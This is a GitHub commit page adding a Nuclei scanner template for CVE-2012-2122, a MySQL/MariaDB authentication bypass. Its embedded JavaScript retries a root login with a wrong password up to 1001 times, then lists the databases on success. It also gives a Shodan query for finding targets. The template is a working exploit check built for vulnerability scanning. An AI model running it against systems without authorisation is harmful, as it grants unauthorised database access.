Merge pull request #9392 from projectdiscovery/pussycat0x-patch-6

Create CVE-2012-2122.yaml
This commit is contained in:
Ritik Chaddha
2024-04-03 18:29:42 +05:30
committed by GitHub

View File

@@ -0,0 +1,46 @@
id: CVE-2012-2122
info:
name: MySQL - Authentication Bypass
author: pussycat0x
severity: critical
description: |
sql/password.c in Oracle MySQL 5.1.x before 5.1.63, 5.5.x before 5.5.24, and 5.6.x before 5.6.6, and MariaDB 5.1.x before 5.1.62, 5.2.x before 5.2.12, 5.3.x before 5.3.6, and 5.5.x before 5.5.23, when running in certain environments with certain implementations of the memcmp function, allows remote attackers to bypass authentication by repeatedly authenticating with the same incorrect password, which eventually causes a token comparison to succeed due to an improperly-checked return value.
reference:
- https://github.com/vulhub/vulhub/tree/master/mysql/CVE-2012-2122
metadata:
verified: true
shodan-query: product:"MySQL"
tags: cve,cve2012,js,enum,network,mssql
javascript:
- code: |
const mysql = require('nuclei/mysql');
const client = new mysql.MySQLClient;
for (let i = 1; i <= 1001; i++) {
try {
const connected = client.ExecuteQuery(Host, Port, User, Pass, Query);
Export(connected);
break;
} catch {
// error
}
}
args:
Host: "{{Host}}"
Port: 3306
User: "root"
Pass: "wrong"
Query: "show databases;"
matchers:
- type: dsl
dsl:
- "success == true"
extractors:
- type: json
part: response
json:
- .Rows[] | .Database